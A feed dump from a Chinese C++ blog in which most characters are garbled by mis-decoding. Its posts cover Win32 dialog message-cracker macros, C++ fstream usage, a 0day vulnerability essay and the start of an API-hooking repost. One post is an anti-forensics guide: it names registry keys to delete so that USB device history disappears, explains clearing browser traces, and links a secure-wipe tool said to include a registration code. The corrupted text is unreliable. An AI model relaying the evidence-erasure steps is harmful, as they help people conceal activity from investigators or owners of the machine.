q与二重一模一栗?/p>

以上四重Q是消息分离器的基本使用Q但Q这不完_消息分离器主要应用在对话框消息处理中?br>q里Q窗口子cd是我们经怋用的手段Q这也可以通过消息分流器实玎ͼ

W五?br>LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  HANDLE_MSG(hwnd, WM_INITDIALO , Cls_OnInitDialog); // 不能直接使用HANDLE_MSG?br>  HANDLE_MSG(hwnd, WM_COMMAND, Cls_OnCommand); // 不能直接使用HANDLE_MSG?br> }
 return false;
}
׃是窗口子cdQ所以,最后,q回的是falseQ以表明Q如果没有约定响应的消息Q?br>则返回父亲窗口falseQ如果有Q则q回tureQ这是与前四重不同的地方?br>一般情况下Q对话框q程函数应该在处理了消息的情况下q回TRUEQ如果没有处理,则返回FALSE?br>如果对话框过E返回了FALSEQ那么对话框理器ؓq条消息准备默认的对话操作?/p>

但是Q这其中有错误,因ؓ有的消息,需要单独处理。单独处理的消息列表见SetDlgMsgResult宏?/p>

W六?br>q点问题,q就需要用到SetDlgMsgResult(hwnd, msg, result)宏?

LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
 {
 case WM_INITDIALO:
 return (SetDlgMsgResult(hwnd, Msg, HANDLE_WM_INITDIALO((hwnd), (wParam), (lParam), (fn)));

 case WM_COMMAND:
 return (SetDlgMsgResult(hwnd, Msg, HANDLE_WM_COMMAND((hwnd), (wParam), (lParam), (fn)));
 }
return false;
}
q里Q就用直接用CW二重的消息分流器,而抛弃了其他?/p>

q个宏定义如下:
#define SetDlgMsgResult(hwnd, msg, result)
(
 (
 (msg) == WM_CTLCOLORMSGBOX ||
 (msg) == WM_CTLCOLOREDIT ||
 (msg) == WM_CTLCOLORLISTBOX ||
 (msg) == WM_CTLCOLORBTN ||
 (msg) == WM_CTLCOLORDLG ||
 (msg) == WM_CTLCOLORSCROLLBAR ||
 (msg) == WM_CTLCOLORSTATIC ||
 (msg) == WM_COMPAREITEM ||
 (msg) == WM_VKEYTOITEM ||
 (msg) == WM_CHARTOITEM ||
 (msg) == WM_QUERYDRAGICON ||
 (msg) == WM_INITDIALOG
 ) ?
 (BOOL)(result) :
 (SetWindowLongPtr((hwnd), DWLP_MSGRESULT, (LPARAM)(LRESULT)(result)), TRUE)
)

Z表述清楚Q所以用了此格式Q这是一个三表辑ּQ首先对消息cdq行考察?/p>

如果对话框过E处理的消息恰y回特定g的一个,则如实返回resultQ?br>不要被前面的BOOL蒙蔽QBOOL在头文g中的定义实际上是一个int型,
一旦需要返回非TRUE或FALSE的其他|照样可以Q?/p>

q样Q我们的Cls_OnInitDialogp够正的q回它的BOOLgQ?br>而Cls_OnCommand在处理之后,也可以由后面的逗号表达式正的q回一个TRUE表示消息已处理?/p>

W七?br>我们q可以把case也包含进来,成了如下的样子?/p>

LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
 chHANDLE_DLGMSG(hwnd, WM_INITDIALOG, Cls_OnInitDialog);
 chHANDLE_DLGMSG(hwnd, WM_COMMAND, Cls_OnCommand);
 }
 return false;
}

chHANDLE_DLGMSG是牛人定义的一个宏Q它把case也包含进来了?br>#define chHANDLE_DLGMSG(hwnd, message, fn) case (message): return (SetDlgMsgResult(hwnd, uMsg, HANDLE_##message((hwnd), (wParam), (lParam), (fn))))

q样Q程序中的语?br> switch (uMsg)
 {
  chHANDLE_DLGMSG(hwnd, WM_INITDIALOG, Dlg_OnInitDialog);
  chHANDLE_DLGMSG(hwnd, WM_SIZE,       Dlg_OnSize);
  chHANDLE_DLGMSG(hwnd, WM_COMMAND,    Dlg_OnCommand);
 }

p译成:
 switch (uMsg)
 {
 case (WM_INITDIALOG):
  return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_INITDIALOG((hwnd), (wParam), (lParam), (Dlg_OnInitDialog))));

 case (WM_SIZE)
  return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_SIZE((hwnd), (wParam), (lParam), (Dlg_OnSize))));

 case (WM_COMMAND)
  return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_COMMAND((hwnd), (wParam), (lParam), (Dlg_OnCommand))));
 }

q样,消息分流?׃l完?



]]>
[转帖]fstream的用方法介l?/title><link>http://www.shnenglu.com/saga/archive/2007/06/19/26652.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 19 Jun 2007 15:46:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/06/19/26652.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/26652.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/06/19/26652.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/26652.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/26652.html</trackback:ping><description><![CDATA[<p>在C++中,有一个streamq个c,所有的I/O都以q个“?#8221;cMؓ基础的,包括我们要认识的文gI/OQstreamq个cL两个重要的运符Q?/p> <p>1、插入器(<<)<br>  向流输出数据。比如说pȝ有一个默认的标准输出?cout)Q一般情况下是指的昄器,所以,cout<<"Write Stdout"<<' ';pC把字符?Write Stdout"和换行字W?' ')输出到标准输出流?/p> <p>2、析取器(>>)<br>  从流中输入数据。比如说pȝ有一个默认的标准输入?cin)Q一般情况下是指的键盘Q所以,cin>>x;pCZ标准输入中<a name=1></a><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>一个指定类?卛_量x的类?的数据?/p> <p>  在C++中,Ҏ件的操作是通过stream的子c?a name=0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>(file stream)来实现的Q所以,要用q种方式操作文gQ就必须加入头文?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>.h。下面就把此cȝ文g操作q程一一道来?/p> <p>一、打开文g<br>  ?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>cMQ有一个成员函数open()Q就是用来打开文g的,其原型是Q?/p> <p>void open(const char* filename,int mode,int access);</p> <p>参数Q?/p> <p>filenameQ  要打开的文件名 <br>modeQ    要打开文g的方?<br>accessQ   打开文g的属?br>打开文g的方式在cios(是所有流式I/Ocȝ基类)中定义,常用的值如下: </p> <p>ios::appQ   以追加的方式打开文g <br>ios::ateQ   文g打开后定位到文g,ios:app包含有此属?<br>ios::binaryQ? ?a name=2></a><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>方式打开文gQ缺省的方式是文本方式。两U方式的区别见前?<br>ios::inQ    文g以输入方式打开 <br>ios::outQ   文g以输出方式打开 <br>ios::nocreateQ?不徏立文Ӟ所以文件不存在时打开p|  <br>ios::noreplaceQ不覆盖文gQ所以打开文g时如果文件存在失?<br>ios::truncQ  如果文g存在Q把文g长度设ؓ0 <br>  可以?#8220;?#8221;把以上属性连接v来,如ios::out|ios::binary</p> <p>  打开文g的属性取值是Q?/p> <p>0Q普通文Ӟ打开讉K <br>1Q只L?<br>2Q隐含文?<br>4Q系l文?<br>  可以?#8220;?#8221;或?#8220;+”把以上属性连接v?Q如3?|2是以只d隐含属性打开文g?/p> <p>  例如Q以<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>输入方式打开文gc:config.sys </p> <p>  <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong> file1;<br>  file1.open("c:\config.sys",ios::binary|ios::in,0);</p> <p>  如果open函数只有文g名一个参敎ͼ则是以读/写普通文件打开Q即Q?/p> <p>  file1.open("c:\config.sys");<=>file1.open("c:\config.sys",ios::in|ios::out,0);</p> <p>  另外Q?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>q有和open()一L构造函敎ͼ对于上例Q在定义的时侯就可以打开文g了:</p> <p>  <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong> file1("c:\config.sys");</p> <p>  特别提出的是Q?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>有两个子c:ifstream(input file stream)和ofstream(outpu file stream)Qifstream默认以输入方式打开文gQ而ofstream默认以输出方式打开文g?/p> <p>  ifstream file2("c:\pdos.def");//以输入方式打开文g<br>  ofstream file3("c:\x.123");//以输出方式打开文g</p> <p>  所以,在实际应用中Q根据需要的不同Q选择不同的类来定义:如果想以输入方式打开Q就用ifstream来定义;如果想以输出方式打开Q就用ofstream来定义;如果想以输入/输出方式来打开Q就?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>来定义?/p> <p>二、关闭文?br>  打开的文件用完成后一定要关闭Q?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>提供了成员函数close()来完成此操作Q如Qfile1.close();把file1相连的文件关闭?/p> <p>三、读写文?br>  d文g分ؓ文本文g?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>文g?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>Q对于文本文件的<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>比较单,用插入器和析取器可以了Q而对?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>p复杂些,下要pl的介绍q两U方?/p> <p>  1、文本文件的d<br>  文本文g的读写很单:用插入器(<<)向文件输出;用析取器(>>)从文件输入。假设file1是以输入方式打开Qfile2以输出打开。示例如下:</p> <p>  file2<<"I Love You";//向文件写入字W串"I Love You"<br>  int i;<br>  file1>>i;//从文件输入一个整数倹{?</p> <p>  q种方式q有一U简单的格式化能力,比如可以指定输出?6q制{等Q具体的格式有以下一?/p> <p>操纵W?功能 输入/输出 <br>dec 格式化ؓ十进制数值数?输入和输?<br>endl 输出一个换行符q刷新此?输出 <br>ends 输出一个空字符 输出 <br>hex 格式化ؓ十六q制数值数?输入和输?<br>oct 格式化ؓ八进制数值数?输入和输?<br>setpxecision(int p) 讄点数的_ֺ位数 输出 </p> <p>  比如要把123当作十六q制输出Qfile1< </p> <p>  2?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>文g的读?br>①put()<br>  put()函数向流写入一个字W,其原型是ofstream &put(char ch)Q用也比较单,如file1.put('c');是向流写一个字W?c'?</p> <p>②get()<br>  get()函数比较灉|Q有3U常用的重蝲形式Q?/p> <p>  一U就是和put()对应的Ş式:ifstream &get(char &ch);功能是从中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>一个字W,l果保存在引用ch中,如果到文件尾Q返回空字符。如file2.get(x);表示从文件中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>一个字W,q把<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>的字W保存在x中?/p> <p>  另一U重载Ş式的原型是: int get();q种形式是从中q回一个字W,如果到达文g,q回EOFQ如x=file2.get();和上例功能是一L?/p> <p>  q有一UŞ式的原型是:ifstream &get(char *buf,int num,char delim=' ')Q这UŞ式把字符d?buf 指向的数l,直到d?num 个字W或遇到了由 delim 指定的字W,如果没?delim q个参数Q将使用~省值换行符' '。例如:</p> <p>  file2.get(str1,127,'A');//从文件中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>字符到字W串str1Q当遇到字符'A'?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>?27个字W时l止?/p> <p>③读写数据块<br>  要读?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>数据块,使用成员函数read()和write()成员函数Q它们原型如下:</p> <p>    read(unsigned char *buf,int num);<br>    write(const unsigned char *buf,int num);</p> <p>  read()从文件中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong> num 个字W到 buf 指向的缓存中Q如果在q未d num 个字W时到了文件尾Q可以用成员函数 int gcount();来取得实?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>的字W数Q?write() 从buf 指向的缓存写 num 个字W到文g中,值得注意的是~存的类型是 unsigned char *Q有时可能需要类型{换?/p> <p>例:</p> <p>    unsigned char str1[]="I Love You";<br>    int n[5];<br>    ifstream in("xxx.xxx");<br>    ofstream out("yyy.yyy");<br>    out.write(str1,strlen(str1));//把字W串str1全部写到yyy.yyy?br>    in.read((unsigned char*)n,sizeof(n));//从xxx.xxx?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">d</strong>指定个整敎ͼ注意cd转换<br>    in.close();out.close(); </p> <p>四、检EOF<br>  成员函数eof()用来是否到达文件尾Q如果到达文件尾q回?|否则q回0。原型是int eof();</p> <p>例:  if(in.eof())ShowMessage("已经到达文g!");</p> <p>五、文件定?br>  和C的文件操作方式不同的是,C++ I/Opȝ理两个与一个文件相联系的指针。一个是L针,它说明输入操作在文g中的位置Q另一个是写指针,它下ơ写操作的位|。每ơ执行输入或输出Ӟ相应的指针自动变化。所以,C++的文件定位分位置和写位置的定位,对应的成员函数是 seekg()?seekp()Qseekg()是设|读位置Qseekp是设|写位置。它们最通用的Ş式如下:</p> <p>    istream &seekg(streamoff offset,seek_dir origin);<br>    ostream &seekp(streamoff offset,seek_dir origin); </p> <p>  streamoff定义?iostream.h 中,定义有偏U量 offset 所能取得的最大|seek_dir 表示Ud的基准位|,是一个有以下值的枚DQ?</p> <p>ios::begQ  文g开?<br>ios::curQ  文g当前位置 <br>ios::endQ  文gl尾 <br>  q两个函C般用?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进?/strong>文gQ因为文本文件会因ؓpȝ对字W的解释而可能与预想的g同?/p> <p>例:</p> <p>     file1.seekg(1234,ios::cur);//把文件的L针从当前位置向后U?234个字?br>     file2.seekp(1234,ios::beg);//把文件的写指针从文g开头向后移1234个字?</p> <img src ="http://www.shnenglu.com/saga/aggbug/26652.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-06-19 23:46 <a href="http://www.shnenglu.com/saga/archive/2007/06/19/26652.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[译]什么是“流”(What a Stream IsQ?http://www.shnenglu.com/saga/archive/2007/06/19/26650.htmlsaga.constantinesaga.constantineTue, 19 Jun 2007 13:26:00 GMThttp://www.shnenglu.com/saga/archive/2007/06/19/26650.htmlhttp://www.shnenglu.com/saga/comments/26650.htmlhttp://www.shnenglu.com/saga/archive/2007/06/19/26650.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/26650.htmlhttp://www.shnenglu.com/saga/services/trackbacks/26650.html
         像CQC++语言都没有内|输入输出的功能。所有的C++~译器,都捆l着一个像iostream的类q样的面向对象的pȝ的包(package)?#8220;?#8221;是iostream的核心概c你可以?#8220;?#8221;理解成ؓ不停的从源头向目标搬q着字节的一U特D的文g对象。一U?#8220;?#8221;的特性由他的cd他自定义的输入输出符号决定?br>         l由讑֤驱动Q磁盘操作系l控制着键盘Q屏q,打印机和以通信端口形式存在的扩展文件。I/O作用于q些扩展文g。内|的c?classes)提供于磁盘I/O相同语法的读取与写入功能Q?#8220;?#8221;q会使得q些变得更简单宜行?br>         C++库里面最重要的输出流(output stream)cLostreamQofstreamQostrstream。他们承于basic_ostream?br>同样最重要的输入流(input stream)cListreamQifstreamQistrstream?

]]>
[攉]计算机痕q的单消?/title><link>http://www.shnenglu.com/saga/archive/2007/05/21/24566.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 21 May 2007 15:12:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/05/21/24566.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/24566.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/05/21/24566.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/24566.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/24566.html</trackback:ping><description><![CDATA[<p><span style="FONT-SIZE: 12pt">         有时候计机上的一些痕q很ȝQL惛_掉。比如:USB闪存Q移动硬盘,上网Q还有计机上已l删除的文g?br>         我来一个一个说说简单的处理Ҏ。不敢保?00%Q但是应该差不多?br>         一.USBUd存储介质痕迹的清除?br>         只要你的机器上插上过USBUd存储讑֤Q就会留下痕qV包括设备的型号Q首ơ用时_最q用时间的记录。下载工?/span><a href="http://www.shnenglu.com/Files/saga/USBlog.rar"><span style="FONT-SIZE: 12pt; COLOR: red">www.shnenglu.com/Files/saga/USBlog.rar</span></a><span style="FONT-SIZE: 12pt">。解压后q行USBlog.exe׃在桌面上生成机器使用USBUd存储讑֤的用记录。是txt格式的文本?br>         q个的原理是因ؓ每次插上新的USBg讑֤的时候就会在注册表里面自动的记录下来?br>         删除的方法如下:<br>         1.按开?-〉运行,在输入框里输入命令:regedit<br>         2.删除注册表中<br>                 Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR<br>           Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\USBSTOR <br>           Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Enum\USBSTOR<br>           Q?QHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR<br>            q些路径下USBSTOR子项的全部下U子V删除时要注意先要给其添加权限,Ҏ是:在找到如?br>            USBSTOR子项上按鼠标右键Q接着在弹单上选权限,leveryone用户授与完全控制的权限。然?br>            应该可以删除了?br>         3.要彻底清除USB使用记录Q完成上q操作后Q要接着删除<br>                 Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USB <br>          Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\USB<br>           Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Enum\USB<br>           Q?QHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB<br>            q些路径下除ROOT_HUB、ROOT_HUB20外的所有子V?br>         4.然后删除DeviceClasses下的a5d...?3f...{含usb字眼的部分子V如<br>                 Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{a5dcbf10-6530-11d2-                                901f-00c04fb951ed}<br>              Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{a5dcbf10-6530-11d2-                                901f-00c04fb951ed}<br>           Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Control\DeviceClasses\{a5dcbf10-6530-11d2-                                901f-00c04fb951ed}<br>                        ………………<br>      Q?QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-                                94f2-00a0c91efb8b}<br>                        ………………{?br>最后在用USBlog查一下,没有记录OK<img height=21 src="http://www.shnenglu.com/Emoticons/QQ/icon14.gif" width=20 border=0>。但是强烈徏议在修改注册表之前进行备份?br><br>          ?上网痕迹的清除?br>          ①清IInternet临时文g?<br>        依次单击IE菜单栏中?#8220;工具”→“Internet选项”Q打开“Internet选项”对话框,?#8220;常规”标签中点?#8220;删除文g”按钮Q在弹出?#8220;删除文g”H口中勾?#8220;删除所有脱机内?#8221;Q最后点?#8220;定”。当然也可以删除"C:\Documents and Settings\<用户?gt;\Local Settings\Temporary Internet Files"目录下的全部内容?br><br>         ②清除Cookie <br>        ?#8220;Internet选项”对话框的“常规”标签中单?#8220;删除Cookies”按钮Q待弹出H口后单?#8220;定”按钮Q可删除Cookie?nbsp;<br><br>         ③消除访问网늚历史记录 <br>        删除“C:\Documents and Settings\用户名\Local Settings\History”文g夹中的所有内容即可。也可以在Internet选项对话框的“常规”标签下点“清除历史U录”按钮?<br>要让IE不记录访问历Ԍ请在Internet选项对话框的“常规”选项下,网保存在历史U录中的天数从默认的20Ҏ0卛_?br><br>         ④清除IEC的表单内?<br>        要删除它们,可在“Internet选项”对话框的“内容”标签下点“自动完成”按钮Q在弹出?#8220;自动完成讄”对话框中?#8220;表单”?#8220;表单上的用户名和密码”?#8220;提示我保存密?#8221;前的钩去掉,再单?#8220;清除表单”?#8220;清除密码”按钮Q当询问时点“定”?nbsp;<br><br>         ⑤删除地址栏列表中的网址 <br>        ?#8220;Internet选项”对话框的“内容”标签下单?#8220;自动完成”按钮Q打开“自动完成”对话框,L“Web地址”前的钩,然后按确定?<br>  若安装了“中文|址”软gQ采用上法不能将地址栏列表中?#8220;|络实名”清除Q此时要?#8220;Internet选项”对话框的“高”选项卡下Q选中“|络实名”中的“清除地址栏下拉列表中昄的网l实?#8221;,单击“定”?br><br>         好了Qؓ了干净d再清I回收站?br><br>         ?关于一些应用程序的痕迹删除可以查找相关的资料,我就不多说了。下面说说大家最x的是自己删除了的文gq会被别人用EasyRecovery{类的恢复工h复出蛛丝马迹来。因为普通的文g删除只是删除了文件的在系l中的\径信息。真正的文gqh在硬盘上面。除非被新的文g覆盖。不然就可以被恢复。有人难免要问:N有低格硬盘才行吗Q其实不用,有专门的工具来除掉这些痕qV我推荐用CleanDiskSecurity。这个工h较简单小巧实用。我传上来一个带注册码的。英文版的,不懂多查查字典。有帮助文档?br>         用这U工具除痕之后,恢复软g根本没有希望恢复出你想要永q删除的数据了?br>         下蝲地址</span><a href="http://www.shnenglu.com/Files/saga/CleanDiskSecurity-v7.65.rar"><span style="FONT-SIZE: 12pt; COLOR: red">www.shnenglu.com/Files/saga/CleanDiskSecurity-v7.65.rar</span></a><span style="FONT-SIZE: 12pt">?br>         提示一下,对硬盘上I白区域的擦z处理比较耗时。需要有点耐心?br>         <br>         好了Q以上是自己的一点经验,有什么错误的地方h出。有更好的方法或是工兯回帖说明Q让大家可以更好的交除痕的Ҏ<img height=20 src="http://www.shnenglu.com/Emoticons/QQ/smile.gif" width=20 border=0>?br><br>                                                                                   -------saga.constantine<br></span><br></p> <img src ="http://www.shnenglu.com/saga/aggbug/24566.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-05-21 23:12 <a href="http://www.shnenglu.com/saga/archive/2007/05/21/24566.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转脓]什么叫0day漏洞Q?/title><link>http://www.shnenglu.com/saga/archive/2007/05/20/24438.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sun, 20 May 2007 07:20:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/05/20/24438.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/24438.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/05/20/24438.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/24438.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/24438.html</trackback:ping><description><![CDATA[g?Day正引发信息安全新“地震”看不见的才是最可怕的<br>  q就?Day的真正威?br>  如果你是一家企业的|络安全ȝQ企业外|的安全代码、脚本分析、环境配|、维护补丁已做到无懈可击Q内|防火墙、防病毒、入侉|、n份认证等g设施也齐全完备,从技术手D|Ԍg没有什么可担心的;但你考虑q你所使用的操作系l、网站^台或其他W三方应用程序,是否存在着某个不ؓ人知的重大漏z呢Q当你发C的网l已遭入侵,信息已被H取Q查遍所有漏z数据库和安全补丁资料却不得其解。这Ӟ你考虑q?Day么?<br>  什么是0Day<br>  0Day的概忉|早用于Y件和游戏破解Q属于非盈利性和非商业化的组l行为,其基本内涉|“x?#8221;。Warez被许多h误认为是一个最大的软g破解l织Q而实际上QWarez如黑客一P只是一U行为?Day也是。当时的0Day是指在正版Y件或游戏发布的当天甚至之前,发布附带着序列h者解密器的破解版Q让使用者可以不用付费就能长期用。因此,虽然Warez?Dday都是反盗版的重要打击对象Q却同时受到免费使用者和业内同行的推崇。尽Warez?Day的拥护者对以此而谋利的盗版商不齿,但商业利益的驱动q是破解行为的商业化推C高峰。而眼下的0DayQ正在对信息安全产生来严重的威胁?br>  信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息?br>  2005q?2?日,几乎影响Windows所有操作系l的WMF漏洞在网上公开Q虽然微软在8天后提前发布了安全补丁(微Y的惯例是在每月的W一个周二)Q但在q?天内出现了二癑֤个利用此漏洞的攻击脚本。漏z信息的公开加速了软g生企业的安全补丁更新进E,减少了恶意程序的危害E度。但如果是不公开?Day呢?WMF漏洞公开之前Q又有多h已经利用了它Q是否有很多0Day一直在U密传Q例如,l全球网l带来巨大危害的“冲击?#8221;?#8220;震荡?#8221;q两U病毒,如果它们的漏z信息没有公开Q自然也没有这两种病毒的生。反q来惻I有什么理p为眼下不存在cM的有着重大安全隐患的漏z呢Q(Dtloginq程溢出漏洞?002q被发现Q?004q公布。)<br>  看不见的才是最可怕的Q这是0Day的真正威胁?br>  不可避免?Day<br>  信息价值的飞速提升,互联|在全球的普及,数字l济的广泛应用,q一切都刺激着信息安全市场的不断扩大,软g破解、口令解密、间谍Y件、木马病毒全部都从早期的仅做研究和向他h炫耀的目的{化ؓU商业利益的q作Qƈq速地传播开来,从操作系l到数据库,从应用Y件到W三方程序和插gQ再到遍布全球的漏洞发布中心Q看看它们当中有多少0Day存在Q可以毫不夸张的_在安全补丁程序发布之前,所有的漏洞信息都是0DayQ但是从未发布过安全补丁的Y件是否就意味着它们当中不存?Day呢?<br>  有h_“每一个稍兯模的应用软g都可能存?Day?#8221;没错Q从理论上讲Q漏z必定存在,只是未发现Q而I补措施永q滞后而已?br>  只要用户方不独自开发操作系l或应用E序Q或者说只要使用W三方的软gQ?Day的出现就是迟早的事,无论你是使用数据库还是网站管理^収ͼ无论你是使用媒体播放器还是绘囑ַP即便是专职安全防护的软gE序本nQ都会出现安全漏z,q已是不争的事实Q但最可怕的不是漏洞存在的先天性,而是0Day的不可预知性?br>  从开源的角度上来_Linux更容易比闭源代码的Windows存在更多?Day。那些自以ؓ使用着安全操作pȝ的hQ迟早会?Dayd弄得哑口无言。而微软呢Q远有IIS和IEQ近有WMF和ExcelQ由于其操作pȝ应用的广泛性,如今已是补丁加补丁,更新再更斎ͼ最新操作系lVista竟然含有几万行的问题代码。尚未发行,已是满目疮痍Q谁又能保证微Y的源代码没有丝毫泄露呢?<br>  0Day走向何方<br>  来多的破解者和黑客们,已经把目光从率先发布漏洞信息的荣誉感转变到利用这些漏z而得到的l济利益上,互联|到处充斥着C万计的充满入侉|情的脚本子Q更不用说那些以H取信息业的商业间谍和情报h员了。于是,0Day有了市场?br>  国外两年前就有了0Day的网上交易,黑客们通过|上报h出售手中未公开的漏z信息,一个操作系l或数据库的q程溢出源码可以卖到上千元甚至更高Q而国内的黑客同行Q前不久也在|上建立了一个专门出售入늨序号UC国第一0Day的网站,管cM的提供黑客工L|站很多Q但此网站与其它|站的区别在?Day的特性十分明显:h较高的攻ȝ序的d对象Q还没有相应的安全补丁,也就是说q样的攻ȝ序很可能h一d中的效果。这个网站成立不久便在搜索引擎中消失了,也许已经关闭Q也许{入地下。但不管怎样Q?Day带来的潜在经利益不可抹杀Q而其来对信息安全的影响以及危害也绝不能轻视?br>  软g上的0Day几乎不可避免Q那g呢?g是否存在0DayQ答案无疑是肯定的。近q来Q思科路由器漏z频J出玎ͼ今年2月,已被曝光的某知名|络产品漏洞至今仍未被修复。对于那些基于IP协议q接|络的\由、网兟뀁交换机Q哪个电信运营商敢百分之癑֜ 保证自己的网l设备万无一失?Q?005q??1日,全国过二十个城市的互联|出现群发性故障;同年7?2日,北京20万ADSL用户断网Q?br>  早在两年前,q的首席技术官提互联|不能承受与日俱增的使用者这一xQ当Ӟ被很多h认ؓ是无E之谈。今q?月,在美国的商业圆桌会议上,包括惠普公司、IBM公司、Sun公司、通用汽R公司、家得宝公司和可口可乐公司等在内?60个企业代表呼吁政府要对发生大规模|络故障的可能性做好准备工?#8230;…<br>  当今的互联网Q病毒、蠕虫、僵网l、间谍Y件、DDoS犹如z水般泛滥,所有的q一切都或多或少C0Day走过Q可以预,在不q的来Q互联网瘫痪l不遥远?br>  那么政府理者、电信运营商、安全厂商,q有全世界的互联|用P面对0DayQ我们准备好了吗Q? <img src ="http://www.shnenglu.com/saga/aggbug/24438.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-05-20 15:20 <a href="http://www.shnenglu.com/saga/archive/2007/05/20/24438.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转蝲]用户层下拦截pȝapi的原理与实现http://www.shnenglu.com/saga/archive/2007/01/22/17891.htmlsaga.constantinesaga.constantineMon, 22 Jan 2007 08:49:00 GMThttp://www.shnenglu.com/saga/archive/2007/01/22/17891.htmlhttp://www.shnenglu.com/saga/comments/17891.htmlhttp://www.shnenglu.com/saga/archive/2007/01/22/17891.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/17891.htmlhttp://www.shnenglu.com/saga/services/trackbacks/17891.html**转蝲**
**我自q了看q片文章Q还不错Q程序也可以~译出来**

文章作者:kiki
信息来源Q邪恶八q制信息安全团队Q?/font> www.eviloctal.com Q?br />本文章首?/font> 黑色岸U网l安全技术论?/font> Q后由kiki友情提交到邪恶八q制信息安全团队

